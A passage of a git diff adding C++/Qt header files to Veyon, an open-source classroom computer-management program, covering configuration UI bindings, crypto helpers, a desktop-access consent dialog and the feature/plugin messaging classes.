version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_UI_MAPPING_H +#define CONFIGURATION_UI_MAPPING_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +class QLabel; + +template +inline void initWidgetFromProperty( Config* config, DataType (Config::*getter)() const, WidgetType* widget ); + +template +inline void initWidgetFromProperty( Config* config, bool (Config::*getter)() const, QCheckBox* widget ) +{ + widget->setChecked( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, bool (Config::*getter)() const, QGroupBox* widget ) +{ + widget->setChecked( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, bool (Config::*getter)() const, QRadioButton* widget ) +{ + widget->setChecked( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, QString (Config::*getter)() const, QComboBox* widget ) +{ + widget->setCurrentText( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, QString (Config::*getter)() const, QLineEdit* widget ) +{ + widget->setText( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, QString (Config::*getter)() const, QPlainTextEdit* widget ) +{ + widget->setPlainText( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, QColor (Config::*getter)() const, QPushButton* widget ) +{ + auto palette = widget->palette(); + palette.setColor( QPalette::Button, (config->*getter)() ); + widget->setPalette( palette ); +} + +template +inline void initWidgetFromProperty( Config* config, int (Config::*getter)() const, QComboBox* widget ) +{ + widget->setCurrentIndex( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, int (Config::*getter)() const, QSpinBox* widget ) +{ + widget->setValue( (config->*getter)() ); +} + +template +inline void initWidgetFromProperty( Config* config, QUuid (Config::*getter)() const, QComboBox* widget ) +{ + widget->setCurrentIndex( widget->findData( (config->*getter)() ) ); +} + +// specializations for special properties which can't be mapped to widgets +template +inline void initWidgetFromProperty( Config* config, QJsonArray (Config::*getter)() const, QGroupBox* ptr) { } + +template +inline void initWidgetFromProperty( Config* config, QStringList (Config::*getter)() const, QGroupBox* ptr) { } + +// widget initialization +#define INIT_WIDGET_FROM_PROPERTY(className, config, type, get, set, key, parentKey) \ + initWidgetFromProperty<>( &config, &className::get, ui->get ); + + +// connect widget signals to configuration property write methods + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( DataType ), WidgetType* widget ); + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( bool ), QCheckBox* widget ) +{ + QObject::connect( widget, &QCheckBox::toggled, config, setter ); +} + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( bool ), QGroupBox* widget ) +{ + QObject::connect( widget, &QGroupBox::toggled, config, setter ); +} + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( bool ), QRadioButton* widget ) +{ + QObject::connect( widget, &QCheckBox::toggled, config, setter ); +} + + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( const QString& ), QComboBox* widget ) +{ + QObject::connect( widget, &QComboBox::currentTextChanged, config, setter ); +} + + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( const QString& ), QLineEdit* widget ) +{ + QObject::connect( widget, &QLineEdit::textChanged, config, setter ); +} + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( const QString& ), QPlainTextEdit* widget ) +{ + QObject::connect( widget, &QPlainTextEdit::textChanged, config, [=]() { + (config->*setter)( widget->toPlainText() ); } ); +} + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( const QColor& ), QPushButton* widget ) +{ + QObject::connect( widget, &QAbstractButton::clicked, config, [=]() { + auto palette = widget->palette(); + QColorDialog d( widget->palette().color( QPalette::Button ), widget ); + if( d.exec() ) + { + (config->*setter)( d.selectedColor() ); + palette.setColor( QPalette::Button, d.selectedColor() ); + widget->setPalette( palette ); + } + } ); +} + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( int ), QComboBox* widget ) +{ + QObject::connect( widget, static_cast(&QComboBox::currentIndexChanged), config, setter ); +} + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( int ), QSpinBox* widget ) +{ + QObject::connect( widget, static_cast(&QSpinBox::valueChanged), config, setter ); +} + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( QUuid ), QComboBox* widget ) +{ + QObject::connect( widget, static_cast(&QComboBox::currentIndexChanged), + widget, [=] () { (config->*setter)( widget->itemData( widget->currentIndex() ).toUuid() ); } ); + +} + +// specializations for special properties which can't be connected to widgets + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( const QStringList& ), QGroupBox* widget ) { } + +template +inline void connectWidgetToProperty( Config* config, void (Config::*setter)( const QJsonArray& ), QGroupBox* widget ) { } + +#define CONNECT_WIDGET_TO_PROPERTY(className, config, type, get, set, key, parentKey) \ + connectWidgetToProperty( &config, &className::set, ui->get ); + +#endif diff --git a/core/include/ConfigurationManager.h b/core/include/ConfigurationManager.h new file mode 100644 index 0000000..2591f60 --- /dev/null +++ b/core/include/ConfigurationManager.h @@ -0,0 +1,55 @@ +/* + * ConfigurationManager.h - class for managing Veyon's configuration + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_MANAGER_H +#define CONFIGURATION_MANAGER_H + +#include "VeyonCore.h" + +class VeyonConfiguration; + +// clazy:excludeall=ctor-missing-parent-argument + +class VEYON_CORE_EXPORT ConfigurationManager : public QObject +{ + Q_OBJECT +public: + ConfigurationManager( QObject* parent = nullptr ); + + bool clearConfiguration(); + bool applyConfiguration(); + bool saveConfiguration(); + + const QString& errorString() const + { + return m_errorString; + } + +private: + VeyonConfiguration& m_configuration; + QString m_errorString; + +} ; + +#endif diff --git a/core/include/ConfigurationPage.h b/core/include/ConfigurationPage.h new file mode 100644 index 0000000..481b098 --- /dev/null +++ b/core/include/ConfigurationPage.h @@ -0,0 +1,45 @@ +/* + * ConfigurationPage.h - base class for all configuration pages + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_PAGE_H +#define CONFIGURATION_PAGE_H + +#include "VeyonCore.h" + +#include + +class VEYON_CORE_EXPORT ConfigurationPage : public QWidget +{ + Q_OBJECT +public: + ConfigurationPage( QWidget* parent = nullptr ); + ~ConfigurationPage() override; + + virtual void resetWidgets() = 0; + virtual void connectWidgetsToProperties() = 0; + virtual void applyConfiguration() = 0; + +}; + +#endif // CONFIGURATION_PAGE_H diff --git a/core/include/ConfigurationPagePluginInterface.h b/core/include/ConfigurationPagePluginInterface.h new file mode 100644 index 0000000..8eff9d6 --- /dev/null +++ b/core/include/ConfigurationPagePluginInterface.h @@ -0,0 +1,47 @@ +/* + * ConfigurationPagePluginInterface.h - interface class for configuration pages + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_PAGE_PLUGIN_INTERFACE_H +#define CONFIGURATION_PAGE_PLUGIN_INTERFACE_H + +#include "PluginInterface.h" + +class ConfigurationPage; + +// clazy:excludeall=copyable-polymorphic + +class ConfigurationPagePluginInterface +{ +public: + virtual ConfigurationPage* createConfigurationPage() = 0; + +}; + +typedef QList ConfigurationPagePluginInterfaceList; + +#define ConfigurationPagePluginInterface_iid "io.veyon.Veyon.Plugins.ConfigurationPagePluginInterface" + +Q_DECLARE_INTERFACE(ConfigurationPagePluginInterface, ConfigurationPagePluginInterface_iid) + +#endif // CONFIGURATION_PAGE_PLUGIN_INTERFACE_H diff --git a/core/include/Cotire.h b/core/include/Cotire.h new file mode 100644 index 0000000..ff05f23 --- /dev/null +++ b/core/include/Cotire.h @@ -0,0 +1,10 @@ +#ifndef COTIRE_H +#define COTIRE_H +#include +#include +#include +#include +#include +#include +#include +#endif diff --git a/core/include/CryptoCore.h b/core/include/CryptoCore.h new file mode 100644 index 0000000..aadf40a --- /dev/null +++ b/core/include/CryptoCore.h @@ -0,0 +1,64 @@ +/* + * CryptoCore.h - core functions for crypto features + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CRYPTO_CORE_H +#define CRYPTO_CORE_H + +#include "VeyonCore.h" + +#include + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT CryptoCore +{ +public: + typedef QCA::KeyGenerator KeyGenerator; + typedef QCA::PrivateKey PrivateKey; + typedef QCA::PublicKey PublicKey; + typedef QCA::SecureArray SecureArray; + + enum { + RsaKeySize = 4096, + ChallengeSize = 128, + }; + + static constexpr QCA::EncryptionAlgorithm DefaultEncryptionAlgorithm = QCA::EME_PKCS1_OAEP; + static constexpr QCA::SignatureAlgorithm DefaultSignatureAlgorithm = QCA::EMSA3_SHA512; + + CryptoCore(); + ~CryptoCore(); + + static QByteArray generateChallenge(); + + QString encryptPassword( const QString& password ) const; + QString decryptPassword( const QString& encryptedPassword ) const; + +private: + QCA::Initializer m_qcaInitializer; + PrivateKey m_defaultPrivateKey; + +}; + +#endif diff --git a/core/include/DesktopAccessDialog.h b/core/include/DesktopAccessDialog.h new file mode 100644 index 0000000..fb58cee --- /dev/null +++ b/core/include/DesktopAccessDialog.h @@ -0,0 +1,135 @@ +/* + * DesktopAccessDialog.h - declaration of DesktopAccessDialog class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DESKTOP_ACCESS_DIALOG_H +#define DESKTOP_ACCESS_DIALOG_H + +#include + +#include "SimpleFeatureProvider.h" + +class FeatureWorkerManager; + +class VEYON_CORE_EXPORT DesktopAccessDialog : public QObject, public SimpleFeatureProvider, public PluginInterface +{ + Q_OBJECT + Q_INTERFACES(FeatureProviderInterface PluginInterface) +public: + typedef enum Choices + { + ChoiceNone, + ChoiceYes, + ChoiceNo, + ChoiceAlways, + ChoiceNever, + ChoiceCount + } Choice; + + DesktopAccessDialog( QObject* parent = nullptr ); + ~DesktopAccessDialog() override {} + + bool isBusy( FeatureWorkerManager* featureWorkerManager ) const; + + void exec( FeatureWorkerManager* featureWorkerManager, const QString& user, const QString& host ); + void abort( FeatureWorkerManager* featureWorkerManager ); + + Choice choice() const + { + return m_choice; + } + + Plugin::Uid uid() const override + { + return QStringLiteral("13fb9ce8-afbc-4397-93e3-e01c4d8288c9"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "DesktopAccessDialog" ); + } + + QString description() const override + { + return tr( "Desktop access dialog" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + const FeatureList& featureList() const override + { + return m_features; + } + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) override; + +private: + static Choice requestDesktopAccess( const QString& user, const QString& host ); + + enum + { + DialogTimeout = 30000, + SleepTime = 100 + }; + + enum Commands + { + RequestDesktopAccess, + ReportDesktopAccessChoice + }; + + enum Arguments + { + UserArgument, + HostArgument, + ChoiceArgument + }; + + const Feature m_desktopAccessDialogFeature; + const FeatureList m_features; + + Choice m_choice; + + QTimer m_abortTimer; + +signals: + void finished(); + +}; + +#endif // DESKTOP_ACCESS_DIALOG_H diff --git a/core/include/Feature.h b/core/include/Feature.h new file mode 100644 index 0000000..6e22ba1 --- /dev/null +++ b/core/include/Feature.h @@ -0,0 +1,210 @@ +/* + * Feature.h - declaration of the Feature class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FEATURE_H +#define FEATURE_H + +#include +#include +#include +#include + +#include "VeyonCore.h" + +class VEYON_CORE_EXPORT Feature +{ + Q_GADGET +public: + typedef QUuid Uid; + + enum FeatureFlag + { + NoFlags, + Mode = 0x0001, + Action = 0x0002, + Session = 0x0004, + Operation = 0x0008, + Dialog = 0x0010, + Master = 0x0100, + Service = 0x0200, + Worker = 0x0400, + Builtin = 0x1000, + AllComponents = Master | Service | Worker + } ; + + Q_DECLARE_FLAGS(Flags, FeatureFlag) + Q_FLAG(Flags) + + Feature( Flags flags, + Uid uid, + Uid parentUid, + const QString& displayName, + const QString& displayNameActive, + const QString& description, + const QString& iconUrl = QString(), + const QKeySequence& shortcut = QKeySequence() ) : + m_flags( flags ), + m_uid( uid ), + m_parentUid( parentUid ), + m_displayName( displayName ), + m_displayNameActive( displayNameActive ), + m_description( description ), + m_iconUrl( iconUrl ), + m_shortcut( shortcut ) + { + } + + Feature( Uid uid = Uid() ) : + m_flags( NoFlags ), + m_uid( uid ), + m_parentUid( QUuid() ), + m_displayName(), + m_displayNameActive(), + m_description(), + m_iconUrl(), + m_shortcut() + { + } + + Feature( const Feature& other ) : + m_flags( other.flags() ), + m_uid( other.uid() ), + m_parentUid( other.parentUid() ), + m_displayName( other.displayName() ), + m_displayNameActive( other.displayNameActive() ), + m_description( other.description() ), + m_iconUrl( other.iconUrl() ), + m_shortcut( other.shortcut() ) + { + } + + ~Feature() {} + + Feature& operator=( const Feature& other ) + { + m_flags = other.flags(); + m_uid = other.uid(); + m_parentUid = other.parentUid(); + m_displayName = other.displayName(); + m_displayNameActive = other.displayNameActive(); + m_description = other.description(); + m_iconUrl = other.iconUrl(); + m_shortcut = other.shortcut(); + + return *this; + } + + bool operator==( const Feature& other ) const + { + return other.uid() == uid(); + } + + bool operator!=( const Feature& other ) const + { + return other.uid() != uid(); + } + + bool isValid() const + { + return m_flags != NoFlags; + } + + bool testFlag( FeatureFlag flag ) const + { + return m_flags.testFlag( flag ); + } + + const Uid& uid() const + { + return m_uid; + } + + const Uid& parentUid() const + { + return m_parentUid; + } + + void setParentUid( Uid uid ) + { + m_parentUid = uid; + } + + const QString& displayName() const + { + return m_displayName; + } + + void setDisplayName( const QString& displayName ) + { + m_displayName = displayName; + } + + const QString& displayNameActive() const + { + return m_displayNameActive; + } + + const QString& description() const + { + return m_description; + } + + const QString& iconUrl() const + { + return m_iconUrl; + } + + void setIconUrl( const QString& iconUrl ) + { + m_iconUrl = iconUrl; + } + + const QKeySequence& shortcut() const + { + return m_shortcut; + } + +private: + Flags flags() const + { + return m_flags; + } + + Flags m_flags; + Uid m_uid; + Uid m_parentUid; + QString m_displayName; + QString m_displayNameActive; + QString m_description; + QString m_iconUrl; + QKeySequence m_shortcut; + +}; + +Q_DECLARE_OPERATORS_FOR_FLAGS(Feature::Flags) + +typedef QList FeatureList; +typedef QStringList FeatureUidList; + +#endif // FEATURE_H diff --git a/core/include/FeatureControl.h b/core/include/FeatureControl.h new file mode 100644 index 0000000..821ce51 --- /dev/null +++ b/core/include/FeatureControl.h @@ -0,0 +1,98 @@ +/* + * FeatureControl.h - declaration of FeatureControl class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FEATURE_CONTROL_H +#define FEATURE_CONTROL_H + +#include "SimpleFeatureProvider.h" + +class VEYON_CORE_EXPORT FeatureControl : public QObject, public SimpleFeatureProvider, public PluginInterface +{ + Q_OBJECT + Q_INTERFACES(FeatureProviderInterface PluginInterface) +public: + FeatureControl( QObject* parent = nullptr ); + ~FeatureControl() override; + + bool queryActiveFeatures( const ComputerControlInterfaceList& computerControlInterfaces ); + + Plugin::Uid uid() const override + { + return QStringLiteral("f5ec79e0-186c-4af0-89a2-7e5687cc32b2"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "FeatureControl" ); + } + + QString description() const override + { + return tr( "Feature control" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + const FeatureList& featureList() const override + { + return m_features; + } + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + +private: + enum Commands + { + QueryActiveFeatures, + }; + + enum Arguments + { + ActiveFeatureList, + }; + + const Feature m_featureControlFeature; + const FeatureList m_features; + + FeatureUidList m_activeFeatures; + +}; + +#endif // FEATURE_CONTROL_H diff --git a/core/include/FeatureManager.h b/core/include/FeatureManager.h new file mode 100644 index 0000000..0b0c11e --- /dev/null +++ b/core/include/FeatureManager.h @@ -0,0 +1,77 @@ +/* + * FeatureManager.h - header for the FeatureManager class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FEATURE_MANAGER_H +#define FEATURE_MANAGER_H + +#include + +#include "Feature.h" +#include "FeatureProviderInterface.h" +#include "ComputerControlInterface.h" +#include "Plugin.h" + +class QWidget; + +class FeatureWorkerManager; + +class VEYON_CORE_EXPORT FeatureManager : public QObject +{ + Q_OBJECT +public: + FeatureManager( QObject* parent = nullptr ); + + const FeatureList& features() const + { + return m_features; + } + + const FeatureList& features( Plugin::Uid pluginUid ) const; + + const Feature& feature( Feature::Uid featureUid ) const; + + Plugin::Uid pluginUid( const Feature& feature ) const; + + void startFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ); + void stopFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ); + +public slots: + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, ComputerControlInterface::Pointer computerControlInterface ); + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ); + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ); + +private: + FeatureList m_features; + const FeatureList m_emptyFeatureList; + QObjectList m_pluginObjects; + FeatureProviderInterfaceList m_featurePluginInterfaces; + const Feature m_dummyFeature; + +}; + +#endif // FEATURE_MANAGER_H diff --git a/core/include/FeatureMessage.h b/core/include/FeatureMessage.h new file mode 100644 index 0000000..03b1210 --- /dev/null +++ b/core/include/FeatureMessage.h @@ -0,0 +1,137 @@ +/* + * FeatureMessage.h - header for a message encapsulation class for features + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FEATURE_MESSAGE_H +#define FEATURE_MESSAGE_H + +#include + +#include "Feature.h" + +class QIODevice; + +class VEYON_CORE_EXPORT FeatureMessage +{ +public: + typedef quint32 MessageSize; + typedef Feature::Uid FeatureUid; + typedef qint32 Command; + typedef QMap Arguments; + + enum SpecialCommands + { + DefaultCommand = 0, + InvalidCommand = -1, + InitCommand = -2, + }; + + explicit FeatureMessage( QIODevice* ioDevice = nullptr ) : + m_ioDevice( ioDevice ), + m_featureUid(), + m_command( InvalidCommand ), + m_arguments() + { + } + + explicit FeatureMessage( FeatureUid featureUid, Command command ) : + m_ioDevice( nullptr ), + m_featureUid( featureUid ), + m_command( command ), + m_arguments() + { + } + + explicit FeatureMessage( const FeatureMessage& other ) : + m_ioDevice( other.ioDevice() ), + m_featureUid( other.featureUid() ), + m_command( other.command() ), + m_arguments( other.arguments() ) + { + } + + ~FeatureMessage() {} + + FeatureMessage& operator=( const FeatureMessage& other ) + { + m_ioDevice = other.ioDevice(); + m_featureUid = other.featureUid(); + m_command = other.command(); + m_arguments = other.arguments(); + + return *this; + } + + const FeatureUid& featureUid() const + { + return m_featureUid; + } + + Command command() const + { + return m_command; + } + + const Arguments& arguments() const + { + return m_arguments; + } + + FeatureMessage &addArgument( int index, const QVariant& value ) + { + m_arguments[QString::number(index)] = value; + return *this; + } + + QVariant argument( int index ) const + { + return m_arguments[QString::number(index)]; + } + + bool hasArgument( int index ) const + { + return m_arguments.contains( QString::number( index ) ); + } + + bool send(); + bool send( QIODevice* ioDevice ) const; + + bool isReadyForReceive(); + + bool receive(); + + QIODevice* ioDevice() const + { + return m_ioDevice; + } + +private: + QIODevice* m_ioDevice; + + FeatureUid m_featureUid; + Command m_command; + Arguments m_arguments; + +} ; + +#endif // FEATURE_MESSAGE_H diff --git a/core/include/FeatureProviderInterface.h b/core/include/FeatureProviderInterface.h new file mode 100644 index 0000000..7717cf5 --- /dev/null +++ b/core/include/FeatureProviderInterface.h @@ -0,0 +1,113 @@ +/* + * FeatureProviderInterface.h - interface class for feature plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FEATURE_PROVIDER_INTERFACE_H +#define FEATURE_PROVIDER_INTERFACE_H + +#include "ComputerControlInterface.h" +#include "FeatureMessage.h" +#include "Feature.h" +#include "PluginInterface.h" + +class VeyonMasterInterface; +class VeyonServerInterface; +class VeyonWorkerInterface; + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT FeatureProviderInterface +{ +public: + /*! + * \brief Returns a list of features implemented by the feature class + */ + virtual const FeatureList& featureList() const = 0; + + /*! + * \brief Start a feature on master side for given computer control interfaces + * \param master a reference to a master instance implementing the VeyonMasterInterface + * \param feature the feature to start + * \param computerControlInterfaces a list of ComputerControlInterfaces to operate on + */ + virtual bool startFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) = 0; + + /*! + * \brief Stops a feature on master side for given computer control interfaces + * \param master a reference to a master instance implementing the VeyonMasterInterface + * \param feature the feature to stop + * \param computerControlInterfaces a list of ComputerControlInterfaces to operate on + */ + virtual bool stopFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) = 0; + + /*! + * \brief Handles a received feature message inside master + * \param master a reference to a master instance implementing the VeyonMasterInterface + * \param message the message which has been received and needs to be handled + * \param computerControlInterfaces the interface over which the message has been received + */ + virtual bool handleFeatureMessage( VeyonMasterInterface& master, + const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) = 0; + + /*! + * \brief Handles a received feature message inside server + * \param server a reference to a server instance implementing the VeyonServerInterface + * \param message the message which has been received and needs to be handled + */ + virtual bool handleFeatureMessage( VeyonServerInterface& server, + const FeatureMessage& message ) = 0; + + /*! + * \brief Handles a received feature message inside worker + * \param worker a reference to a worker instance implementing the VeyonWorkerInterface + * \param message the message which has been received and needs to be handled + */ + virtual bool handleFeatureMessage( VeyonWorkerInterface& worker, + const FeatureMessage& message ) = 0; + +protected: + bool sendFeatureMessage( const FeatureMessage& message, + const ComputerControlInterfaceList& computerControlInterfaces ) + { + for( auto controlInterface : computerControlInterfaces ) + { + controlInterface->sendFeatureMessage( message ); + } + + return true; + } + +}; + +typedef QList FeatureProviderInterfaceList; + +#define FeatureProviderInterface_iid "io.veyon.Veyon.FeatureProviderInterface" + +Q_DECLARE_INTERFACE(FeatureProviderInterface, FeatureProviderInterface_iid) + +#endif // FEATURE_PROVIDER_INTERFACE_H diff --git a/core/include/FeatureWorkerManager.h b/core/include/FeatureWorkerManager.h new file mode 100644 index 0000000..d617fed --- /dev/null +++ b/core/include/FeatureWorkerManager.h @@ -0,0 +1,111 @@ +/* + * FeatureWorkerManager.h - class for managing feature worker instances + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FEATURE_WORKER_MANAGER_H +#define FEATURE_WORKER_MANAGER_H + +#include +#include +#include +#include +#include + +#include "FeatureMessage.h" + +class FeatureManager; +class VeyonServerInterface; + +class VEYON_CORE_EXPORT FeatureWorkerManager : public QObject +{ + Q_OBJECT +public: + typedef enum WorkerProcessModes { + ManagedSystemProcess, + UnmanagedSessionProcess, + WorkerProcessModeCount + } WorkerProcessMode; + + FeatureWorkerManager( 